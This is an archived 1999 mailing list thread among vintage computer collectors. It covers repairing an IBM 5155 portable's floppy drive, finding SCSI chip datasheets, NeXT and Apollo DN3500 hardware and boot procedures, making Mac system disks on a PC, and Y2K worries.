Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc In-Reply-To: <9599e99a.368ef39d@aol.com> Message-ID: On Sat, 2 Jan 1999 SUPRDAVE@aol.com wrote: > In a message dated 1/2/99 8:01:00 PM US Eastern Standard Time, > ard@p850ug1.demon.co.uk writes: > > > Was there ever a supported hard disk for that machine (that didn't use > > the 5161 expansion cabinet)? My manuals seem to imply there wasn't > > > > Of course it's a standard XT motherboard in there, so if you get a > > half-height drive and a 'short' controller it'll go in. > > > > > the drives posts bad. I'm looking for the "correct" drive for this model. > > it's > > > a half height 360k drive with a black faceplate with the IBM logo on the > > > bottom right. if anyone has it available, give me a shout. > > > > If it's any help the drive was made by Qume, and it's the same drive as > > in the PC-jr > > > > I have the schematics in the Options and Adapters Techref if you want to > > have a go at fixing the original drive. From what I remember it's not hard. > > > > If it's failing the POST, then the most likely problem is head movement > > or track 0 sensor, I think. Usually a little lube on the head guide rails will fix the 'unable to locate track 0' for a while, unless it's really shot. > > i'm not sure if there was a supported hard disk, but my other 5155 has a > seagate hard drive installed by someone. i'm getting a 601 post error. the > drive makes a grinding noise a bit more serious that the normal noise it makes > before beeping twice. is it really fixable? > -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From SUPRDAVE at aol.com Sun Jan 3 00:21:47 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc Message-ID: <4cc01070.368f0c7b@aol.com> In a message dated 1/3/99 12:08:22 AM US Eastern Standard Time, rhblake@bigfoot.com writes: > Does your flopp have the IBM logo or the star emblem (or both) imprinted in > the > face? I have probably 12 good drives that are IBM type black faces but to > make > sure you get what is closest to original it might be best to get the make > and > model of the one you have now. I assume you live in the US? this drive has a black faceplate but has the IBM logo molded into the bottom right corner of the face plate. if need be, i'll open it up again and find the fru number. i'm on the east coast. From rhblake at bigfoot.com Sun Jan 3 01:11:00 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc References: <4cc01070.368f0c7b@aol.com> Message-ID: <368F1802.AE9F9B11@bigfoot.com> SUPRDAVE@aol.com wrote: > this drive has a black faceplate but has the IBM logo molded into the bottom > right corner of the face plate. if need be, i'll open it up again and find the > fru number. i'm on the east coast. I'll look in the next few days. From svs at ropnet.ru Sun Jan 3 01:37:04 1999 From: svs at ropnet.ru (Sergey Svishchev) Date: Sun Feb 27 18:39:46 2005 Subject: Anyone else done this...? In-Reply-To: <199901022319.AA16606@world.std.com>; from Allison J Parent on Sat, Jan 02, 1999 at 06:19:02PM -0500 References: <199901022319.AA16606@world.std.com> Message-ID: <19990103103704.13453@firepower> On Sat, Jan 02, 1999 at 06:19:02PM -0500, Allison J Parent wrote: > <> Has anyone here tried to write TK50 boot tapes for NetBSD's VAX > <>port from a Linux box, using dd and a SCSI TK50 drive? > > It s doable if you have the SCSI tk50 or a TLZ30. Beware there are almost > scsi tk50s that pair up only with vs2000s (old scsi spec and the protocal > is off some). On the topic of vintage SCSI: where NCR 5386 datasheet can be found? Preferably in .PDF? (Tektronix 4336 uses this chip.) -- Sergey Svishchev -- svs{at}ropnet{dot}ru From dwollmann at ibmhelp.com Sun Jan 3 02:46:18 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:39:46 2005 Subject: Anyone else done this...? In-Reply-To: <19990103103704.13453@firepower> Message-ID: On Sun, 3 Jan 1999, Sergey Svishchev wrote: > On Sat, Jan 02, 1999 at 06:19:02PM -0500, Allison J Parent wrote: > > > <> Has anyone here tried to write TK50 boot tapes for NetBSD's VAX > > <>port from a Linux box, using dd and a SCSI TK50 drive? > > > > It s doable if you have the SCSI tk50 or a TLZ30. Beware there are almost > > scsi tk50s that pair up only with vs2000s (old scsi spec and the protocal > > is off some). > > On the topic of vintage SCSI: where NCR 5386 datasheet can be found? > Preferably in .PDF? (Tektronix 4336 uses this chip.) I would check http://www.ncr.com/ and http://www.adaptec.com/ (Adaptec bought Symbios). If you have a Linux kernel source tree handy, there's a driver for the NCR 5380 card, I'm not sure if it's related or not: /usr/src/linux/drivers/scsi/NCR5380.c /usr/src/linux/drivers/scsi/NCR5380.h If you don't have Linux but would like a look at the file, email and I'll send it to you. -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From todd.osborne at barnstormer-software.com Sun Jan 3 04:09:35 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:39:46 2005 Subject: Fujitsu FW5020M05 and Macintosh System Disks Message-ID: <368F41DF.BA9A8DBA@barnstormer-software.com> Can anyone provide information on a Fujitsu external floppy disk drive for the Mac? It is model number FW5020M05. I am trying to rebuild a SE/30 (10 years old yesterday :) On the same note, anyone know a secret way to take the Mac OS 7.0.1 images that Apple has available on their site for free, download them to a PC and make system disks from them? I have tons of working PC's, but not networkable Macs to use to do this. Or, if anyone can dup me a copy of System 6.0.4 or 7.0.1 I would appreciate it. Apparently this is legal, since Apple has the images on their site, but if it is not, forget I asked :) Todd -- -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: 2 Wrongs Don't Make a Right, But 3 Rights Make a Left! -------------------------------------------------------- From hansp at digiweb.com Sun Jan 3 06:05:49 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:39:46 2005 Subject: Anyone else done this...? References: Message-ID: <368F5D1D.7FA83E3B@digiweb.com> David Wollmann wrote: > > On the topic of vintage SCSI: where NCR 5386 datasheet can be found? > > Preferably in .PDF? (Tektronix 4336 uses this chip.) > > I would check http://www.ncr.com/ and http://www.adaptec.com/ (Adaptec bought > Symbios). Better to try it was LSI Logic who bought Symbios a little while ago... A quick scan showed no obvious links to data on the 5386 though :-( Regards _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue From kurtkilgor at bigfoot.com Sun Jan 3 10:15:48 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:46 2005 Subject: ZDTV sightings... Message-ID: <199901031644.IAA02562@geocities.com> It has MS-Works in ROM? Where do I get this wonderful machine? > system error", or something like that, and goes into ROM (MS-WORKS). Then > when I try to access something, it locks. From kurtkilgor at bigfoot.com Sun Jan 3 10:40:34 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:46 2005 Subject: That does not compute Message-ID: <199901031644.IAA02610@geocities.com> > And how many people actually use function keys any more in the age of the > GUI and mouse? I use ALT-F4 in Windows to quit programs, CTRL-F4 to close windows, CTRL-F6 to change to the next window, F7 to run spell check in M$-Word, and Shift-F7 for thesaurus. In Linux, ALT-Fn switches to virtual terminal n. From kurtkilgor at bigfoot.com Sun Jan 3 10:41:59 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:46 2005 Subject: selling a blank floppy disk Message-ID: <199901031644.IAA02635@geocities.com> > And if I hear one more person who claims the Millennium is the 31/12/1999 > - 01/01/2000 (as opposed to the correct date of 1 year later), I am > liable to get out a very large LART.. Whoever said anything about it being the Millennium? It's just the year 2000, and I think that's important enough! From Pjoules1 at cs.com Sun Jan 3 10:48:53 1999 From: Pjoules1 at cs.com (Pjoules1@cs.com) Date: Sun Feb 27 18:39:46 2005 Subject: Virus Checking Message-ID: In a message dated 31/12/98 07:30:27 GMT Standard Time, lwalker@mail.interlog.com writes: > Beware of just using MSAV that came with 6.22. It does not pick up the newer > virii. IIRC it wont even pick up Form A which wasn't even new when MSAV was first released. BTW I wont go into detail but there haave been long discussions about the plural of virus on alt.comp.virus and it seems to come down to the consensus that those who have knowledge of the etymology of the word (and who are generally in the anti virus camp) insist that it is viruses whereas those who think that viruses are 'cool' (and those who write them) insist that it should be viri or the impossible virii. Regards Pete From ard at p850ug1.demon.co.uk Sun Jan 3 10:22:54 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc In-Reply-To: <9599e99a.368ef39d@aol.com> from "SUPRDAVE@aol.com" at Jan 2, 99 11:35:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1802 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/2251a8b4/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 3 10:31:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc In-Reply-To: <368EFAAD.79DE76EF@bigfoot.com> from "Russ Blakeman" at Jan 2, 99 11:05:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 722 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/3e0a384e/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 3 10:37:45 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:46 2005 Subject: Fixing RK05 servo chatter In-Reply-To: <003e01be36bf$920977a0$e0e5fea9@mainoffice> from "Richard A. Cini, Jr." at Jan 2, 99 09:18:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1583 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/04f9f573/attachment.ksh From healyzh at aracnet.com Sun Jan 3 11:41:18 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:46 2005 Subject: Fujitsu FW5020M05 and Macintosh System Disks In-Reply-To: <368F41DF.BA9A8DBA@barnstormer-software.com> Message-ID: >Can anyone provide information on a Fujitsu external floppy disk drive >for the Mac? It is model number FW5020M05. I am trying to rebuild a >SE/30 (10 years old yesterday :) > >On the same note, anyone know a secret way to take the Mac OS 7.0.1 >images that Apple has available on their site for free, download them to >a PC and make system disks from them? I have tons of working PC's, but >not networkable Macs to use to do this. Or, if anyone can dup me a copy >of System 6.0.4 or 7.0.1 I would appreciate it. Apparently this is >legal, since Apple has the images on their site, but if it is not, >forget I asked :) OK, this is going to sound more than just a little wierd, and it isn't exactly easy, but.... In any case I'm makeing one assumption, that at least one of those Mac's has a 1.44Mb drive and is a 68k machine (never verified 68k machine necessary). Next I'll assume that one of those PC's you mention is either one of the following; DOS, Windows 3, Windows 95, Windows NT, OS/2, or preferably Linux. If so, go to http://www.ardi.com/ and download a demo copy of Executor. Using executor it should be possible to create a archive of all the disk images, split it up into chunks that will fit on floppies, and then copy it over. I did this regularly several years ago with P90 laptop running Linux and a PB520c, because the P90 had the modem. Then again an easier method would be to create a split archive on the PC that the Mac can then read, but I'm not sure how you do that. It might be as easy as using PKzip and zipsplit if such things are still available, then copying the pieces over, and dropping them on Stuffit Expander. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From dastar at ncal.verio.com Sun Jan 3 12:01:37 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:46 2005 Subject: Philips P5020 / MICOM (was: Re: "Single instance" machines) In-Reply-To: <199901030044.BAA07297@iaehv.IAEhv.nl> Message-ID: On Sun, 3 Jan 1999, Kees Stravers wrote: > I made an image of the CP/M disk with Teledisk and wrote this image to > a new disk. The P5040 also booted from this disk, but only if I put it > in the right hand drive. This is a bit strange, since when you switch > on the machine with no disk in it, the left hand drive lights its led Did you create the image on the right hand drive? Perhaps that drive is out of alignment slightly from the left and the image will only work on it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Sun Jan 3 12:23:23 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:46 2005 Subject: Ray Holt article Message-ID: Here's a recent article on Ray Holt with regard to his F14A microprocessor. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Sun Jan 3 12:26:47 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:46 2005 Subject: Ray Holt article In-Reply-To: Message-ID: On Sun, 3 Jan 1999, Sam Ismail wrote: > Here's a recent article on Ray Holt with regard to his F14A > microprocessor. Duh. It would help to post the URL: http://www.eb-mag.com/registrd/issues/9901/0199inv.htm Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From amirault at epix.net Sun Jan 3 14:52:57 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc References: Message-ID: <368FD8A9.1DE8807A@epix.net> Hi, I have many IBM PCjr disk drives. Email me please. John Amirault Tony Duell wrote: > > > > one of my 2 5155 suitcase computers is still a dual floppy model and one of > > Was there ever a supported hard disk for that machine (that didn't use > the 5161 expansion cabinet)? My manuals seem to imply there wasn't > > Of course it's a standard XT motherboard in there, so if you get a > half-height drive and a 'short' controller it'll go in. > > > the drives posts bad. I'm looking for the "correct" drive for this model. it's > > a half height 360k drive with a black faceplate with the IBM logo on the > > bottom right. if anyone has it available, give me a shout. > > If it's any help the drive was made by Qume, and it's the same drive as > in the PC-jr > > I have the schematics in the Options and Adapters Techref if you want to > have a go at fixing the original drive. From what I remember it's not hard. > > If it's failing the POST, then the most likely problem is head movement > or track 0 sensor, I think. > > > > > david > > > > -tony From kurtkilgor at bigfoot.com Sun Jan 3 15:27:20 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:46 2005 Subject: Dynabook Message-ID: <199901032128.NAA08026@geocities.com> I read a little bit about the concepts of the Dynabook, mouse, and other stuff in Steven Levy's macintosh book Insanely Great. However, I would like to know more. I have heard on this list that the research at PARC, and their products, are related to this and that Smalltalk was an attempt at the sort of operating system/programming language necessary for a true Dynabook. I also looked on the net and I didn't find a whole lot. But was the Alto the only such attempt ever made? I am discounting all of the cheap GUIs based on it like MacOS and GEM. Were there any _real_ ones? It seems the Apple Newton is somehow related, and I could see why, but I discount it from coming close because it is an extremely inflexible system, just like MacOS. Are there any ongoing projects? I would appreciate any insight ---------------------------------------------------------------------------- ----- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From ard at p850ug1.demon.co.uk Sun Jan 3 15:35:36 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:46 2005 Subject: RK05 Servo tests Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1832 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/21eb74bb/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 3 11:43:50 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:46 2005 Subject: selling a blank floppy disk In-Reply-To: <199901031644.IAA02635@geocities.com> from "Max Eskin" at Jan 3, 99 11:41:59 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 594 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/c74abae0/attachment.ksh From red at bears.org Sun Jan 3 15:51:42 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: Fujitsu FW5020M05 and Macintosh System Disks In-Reply-To: <368F41DF.BA9A8DBA@barnstormer-software.com> Message-ID: On Sun, 3 Jan 1999, Todd Osborne wrote: > On the same note, anyone know a secret way to take the Mac OS 7.0.1 > images that Apple has available on their site for free, download them to > a PC and make system disks from them? I have tons of working PC's, but There is a free-ish software package for Windows NT or 95 that will do this. It is called WinImage. Run a web search for it; that's how I found it. If you absolutely cannot find it, I may have a copy archived here that I could mail you. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From yowza at yowza.com Sun Jan 3 16:28:00 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:46 2005 Subject: Dynabook In-Reply-To: <199901032128.NAA08026@geocities.com> Message-ID: On Sun, 3 Jan 1999, Max Eskin wrote: > Are there any ongoing projects? Squeak: http://minnow.cc.gatech.edu/squeak -- Doug From yowza at yowza.com Sun Jan 3 18:29:01 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:46 2005 Subject: NeXT In-Reply-To: Message-ID: I picked up a NeXT slab (later version N1100) this weekend, but I have no monitor cable or docs. Anybody with spares? Monitor connector pinouts? Thanks, Doug From red at bears.org Sun Jan 3 18:42:39 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: NeXT In-Reply-To: Message-ID: On Sun, 3 Jan 1999, Doug Yowza wrote: > I picked up a NeXT slab (later version N1100) this weekend, but I have no > monitor cable or docs. Anybody with spares? Monitor connector pinouts? You pretty much need the NeXT monitor as it has half the audio circuitry and the keyboard interface. If you just need the cable, it's a straight through 19 pin D-sub, although it does cary power (~70V IIRC) to the monitor and is suitably heavy-gauge. The stock one is only a foot or so in length. Try Spherical Solutions (www.orb.com) or Black Hole, Inc. (www.blackholeinc.com). Both are highly reputable NeXT vendors. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From yowza at yowza.com Sun Jan 3 19:03:59 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:46 2005 Subject: NeXT In-Reply-To: Message-ID: On Sun, 3 Jan 1999, R. Stricklin (kjaeros) wrote: > If you just need the cable, it's a straight through 19 pin D-sub, although > it does cary power (~70V IIRC) to the monitor and is suitably heavy-gauge. > The stock one is only a foot or so in length. > > Try Spherical Solutions (www.orb.com) or Black Hole, Inc. > (www.blackholeinc.com). Both are highly reputable NeXT vendors. Both those places want $20 for the cable (which is $5 more than I paid for the rest of the system). Is there any reason to believe that a straight-through 25-pin cable suitably munged wouldn't do the trick? -- Doug From red at bears.org Sun Jan 3 19:12:50 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: NeXT In-Reply-To: Message-ID: On Sun, 3 Jan 1999, Doug Yowza wrote: > Both those places want $20 for the cable (which is $5 more than I paid for > the rest of the system). Is there any reason to believe that a > straight-through 25-pin cable suitably munged wouldn't do the trick? Aside from data cables being unsuitable for carrying monitor power, no. Spend the $20 on the proper cable. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From dann at greycat.com Sun Jan 3 18:59:11 1999 From: dann at greycat.com (Dann Lunsford) Date: Sun Feb 27 18:39:46 2005 Subject: Old NCR printer Message-ID: <199901040120.RAA02999@mxu1.u.washington.edu> Not sure if this is on-topic, but if not, just tell me; I'll go quietly :-) A friend gave me a working (!) NCR6416 laser printer (he was clearing out a shed), and I've got it hooked up to a Linux box on my net. It has some small problems I feel sure I can fix by giving it a thorough cleaning, but my main problem is docs. My friend lost the manuals for the thing long ago, and NCR doesn't seem to remember they made it. I need info on switch settings, front panel switches and indicators, programming, etc. About all I've been able to find is that it uses a toner cartridge type that is still readily available. I can print straight text to it fine from Linux and VMS, but I need to know more to print from OS/2, apparently. *sigh* Need a clue, people; any help *greatly* appreciated. Thanks! -- Dann Lunsford * The only thing necessary for the triumph of evil * dann@greycat.com * is that men of good will do nothing. -- Cicero * "One World, One Web, One Program" - Microsoft Promotional Ad "Ein Volk, Ein Reich, Ein Fuhrer" - Adolf Hitler From SUPRDAVE at aol.com Sun Jan 3 20:23:38 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:46 2005 Subject: 5155 floppy fixed Message-ID: turns out the reason for the post error on my 5155 was because the head was sticking and couldnt do the initial seek, thus causing the 601 post. tony was right! i didnt bother with greasing it and swapped out an identical floppy drive from an extra pcjr. anyone want a pcjr unit for the price of shipping? david From rexstout at uswest.net Sun Jan 3 20:47:26 1999 From: rexstout at uswest.net (rexstout@uswest.net) Date: Sun Feb 27 18:39:46 2005 Subject: DN3500 motherboard question Message-ID: <199901040248.SAA16297@mxu2.u.washington.edu> (A copy of this message has also been posted to the following newsgroups: comp.sys.apollo) Got lots of Apollo stuff today, including two 4000's with no CPU chips, two 3010/3000 motherboards and a 3500 motherboard. But for now I have only things bothering me. First, what are the specs on the PC compatibility card and how do I use it? Second, which 3500 board is better, the 11858 or the 15652? What's different between the two? My current 3500 has the 15652 and I'm wondering if I should leave it there or switch the boards. ---------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | OrHam@qth.net list admin KD7BCY | ---------------------------------------------------------------- From red at bears.org Sun Jan 3 21:01:43 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: DN3500 motherboard question In-Reply-To: <199901040248.SAA16297@mxu2.u.washington.edu> Message-ID: On Sun, 3 Jan 1999 rexstout@uswest.net wrote: > things bothering me. First, what are the specs on the PC compatibility > card and how do I use it? I believe it has an intel 80286 at either 8 or 12 MHz. You need the appropriate software to run it. It's called something like DPCC, but I forget which is the right designation for the card, its software, and the software-only emulator, each of which have their own similar four-letter designation. It is possible I have the software to drive this but I'd have to check my tape collection before saying for sure. > Second, which 3500 board is better, the 11858 or the 15652? What's > different between the two? My current 3500 has the 15652 and I'm > wondering if I should leave it there or switch the boards. The only difference is the 11858 has "older revision artwork", althoguh I'm not sure exactly what this means. I suspect they're referring to the PCB layout. The 15652 is the "newer revision artwork" model. There is probably little or no noticeable difference once the cover is put back on the box. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From red at bears.org Sun Jan 3 21:11:23 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: DN3500 motherboard question In-Reply-To: Message-ID: On Sun, 3 Jan 1999, R. Stricklin (kjaeros) wrote: > I believe it has an intel 80286 at either 8 or 12 MHz. You need the Following up on my own article (how tacky!) The card has an 8 MHz 80286 and up to 1 MB of its own RAM. That's all I know about it. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From svs at ropnet.ru Sun Jan 3 22:29:55 1999 From: svs at ropnet.ru (Sergey Svishchev) Date: Sun Feb 27 18:39:46 2005 Subject: Anyone else done this...? In-Reply-To: ; from David Wollmann on Sun, Jan 03, 1999 at 02:46:18AM -0600 References: <19990103103704.13453@firepower> Message-ID: <19990104072955.12349@firepower> On Sun, Jan 03, 1999 at 02:46:18AM -0600, David Wollmann wrote: > > On the topic of vintage SCSI: where NCR 5386 datasheet can be found? > > Preferably in .PDF? (Tektronix 4336 uses this chip.) > > I would check http://www.ncr.com/ and http://www.adaptec.com/ (Adaptec bought > Symbios). I already searched the net and found datasheets in .PDF for 5380 clones; _but_ 5386 != 5380 :( The only info I have found on 5386 is its pinout and register map. -- Sergey Svishchev -- svs{at}ropnet{dot}ru From rexstout at uswest.net Mon Jan 4 00:19:17 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:46 2005 Subject: Apollo problems Message-ID: having trouble getting the old DN3500 to boot, with the original hard drive and the system in service mode I can get it to go a little ways, but when I try to launch the config and testing programs, it crashes. Nothing on the screen, but the C & D lights are flashing. Can't seem to find anything on the web that will tell me what that means. And when I plug in the 780MB drive, it works fine but the OS isn't installed so all I get is a no sysboot error. Although I'm told that one of the two 780MB drives has the Domain/OS install stuff on it, I'm just not sure how to get to it. -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From lwalker at mail.interlog.com Sun Jan 3 19:27:07 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:39:46 2005 Subject: Virus Checking In-Reply-To: Message-ID: <199901040628.BAA25562@smtp.interlog.com> On 3 Jan 99 at 11:48, Pjoules1@cs.com wrote: > In a message dated 31/12/98 07:30:27 GMT Standard Time, > lwalker@mail.interlog.com writes: > > > Beware of just using MSAV that came with 6.22. It does not pick up the > newer > > virii. > > IIRC it wont even pick up Form A which wasn't even new when MSAV was first > released. > > BTW I wont go into detail but there haave been long discussions about the > plural of virus on alt.comp.virus and it seems to come down to the consensus > that those who have knowledge of the etymology of the word (and who are > generally in the anti virus camp) insist that it is viruses whereas those who > think that viruses are 'cool' (and those who write them) insist that it should > be viri or the impossible virii. > > Regards > Pete > Just my inadequate knowledge of latin and a memory hickup on the plural of virus. Interesting controversy tho. ciao larry lwalker@interlog.com From jruschme at hiway1.exit109.com Mon Jan 4 00:32:37 1999 From: jruschme at hiway1.exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:39:46 2005 Subject: 5155 floppy fixed In-Reply-To: from "SUPRDAVE@aol.com" at "Jan 3, 99 09:23:38 pm" Message-ID: <199901040632.BAA21143@hiway1.exit109.com> > turns out the reason for the post error on my 5155 was because the head was > sticking and couldnt do the initial seek, thus causing the 601 post. tony was > right! i didnt bother with greasing it and swapped out an identical floppy > drive from an extra pcjr. anyone want a pcjr unit for the price of shipping? This sounds like a version of the problem I have with the drive in my PCjr. Basically, the drive appears to step past either track 0 or track 40 (not sure which) and won't work correctly until after the head is manually moved back toawrds the middle. After that, it works until a bad seek occurs (usually from trying to boot with no disk). <<>> From donm at cts.com Mon Jan 4 01:00:59 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:46 2005 Subject: Y2K stuff In-Reply-To: <199901040632.BAA21143@hiway1.exit109.com> Message-ID: There was a piece in the Travel section of our paper today - a reprint from the New York Times News Service headlined "Y2K could slow air traffic, but airplanes won't fall, experts say". It went on to touch lightly on some perhaps plausible scenarios such as networked air traffic control computers losing capability to communicate, and the in-plane flight management computer which handles navigation and related chores. These were discussed briefly as items that would reduce the number of planes flying or actually grounding a plane when it did not pass its pre-takeoff checks, but not as flight safety items. There was also some idiocy about an FAA inspector grounnding all of an airline's pilots because all of their flight physicals had expired 100 years ago. But then the article got into the embedded chip thing, worrying that some chip somewhere in their fire trucks might get confused and lock up which would shut down the airport since they may not operate without fire and crash equipment operable. Now I admit that I am not too knowledgeable about fire trucks - airport type or otherwise - but this rather reminds me of the fears expressed by some concerning embedded chips in microwaves, digital clocks, electric ovens, sprinkler timers, etc. Am I dense? I have at least one each of the above (not including fire trucks) and no one of them has the foggiest notion what year it is! Because of the firmware, some few care what day it is, but to the best of my knowledge there are seven days in a week irrespective what year it is, or even the month. It would really be nice if the thoughts and opinions of truly knowledgeable folks were to be published and all of this type of panic mongering put firmly to bed! By the way, when my Kaypro 10 crosses over the mark it will then report the date is 01 JAN 99. - don From red at bears.org Mon Jan 4 01:09:07 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: Apollo problems In-Reply-To: Message-ID: On Sun, 3 Jan 1999, John Rollins wrote: > having trouble getting the old DN3500 to boot, with the original hard drive > and the system in service mode I can get it to go a little ways, but when I > try to launch the config and testing programs, it crashes. Are you sure it crashes? these utilities take a while to load and run, even on a DN5500. When you boot in service mode, you get the "phase one shell" which is really just a simple ROM monitor. The machine will load and run its self-tests, and then return the phase one shell prompt. Typing "H" will get you a list of the commands you can use at this point. Here's what I would do: EX DEX (this runs the calendar utility) RE (do this twice; you'll have to hit enter a couple times after each before it'll let you type anything else) EX SALVOL (this runs the disk check utility) RE (again, do it twice) EX CONFIG (hardware configuration utility; tell it about your machine) RE (twice) EX DOMAIN_OS (this will start the Apollo Phase_II shell, assuming DOMAIN/OS SR10.x is installed) if the phase 2 shell loads ok, type "go" to finish booting the OS. If the OS won't boot from the phase 2 shell, reset the machine, EX SALVOL, REset twice, and then EX DOMAIN_OS again. You can do a number of things from the phase 2 shell; "help" will get you a list of commands. That should at least get you started. > Nothing on the screen, but the C & D lights are flashing. A (green) power B (amber) heartbeat, or "OS Running" C (amber) disk activity D (amber) network traffic (incoming) E (amber) network traffic (outgoing) If the machine isn't hooked up to a network, the network traffic indicators seem to behave non-deterministically. > the web that will tell me what that means. And when I plug in the 780MB > drive, it works fine but the OS isn't installed so all I get is a no > sysboot error. Although I'm told that one of the two 780MB drives has the > Domain/OS install stuff on it, I'm just not sure how to get to it. The 780 MB disk is not supported on all controllers. I know the SMS OMTI 8610 model will not, the other SMS model (8621) MIGHT, and the WD7000 will for sure. Disks formatted for use in the DN5500 are not useable on other machines without reformatting, either (the same thing holds in reverse), so if your 780 MB disks were used on a DN5500, neither will be accessible on anything other than another DN5500. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From rexstout at uswest.net Mon Jan 4 01:32:56 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:46 2005 Subject: Apollo problems In-Reply-To: References: Message-ID: >Are you sure it crashes? these utilities take a while to load and run, >even on a 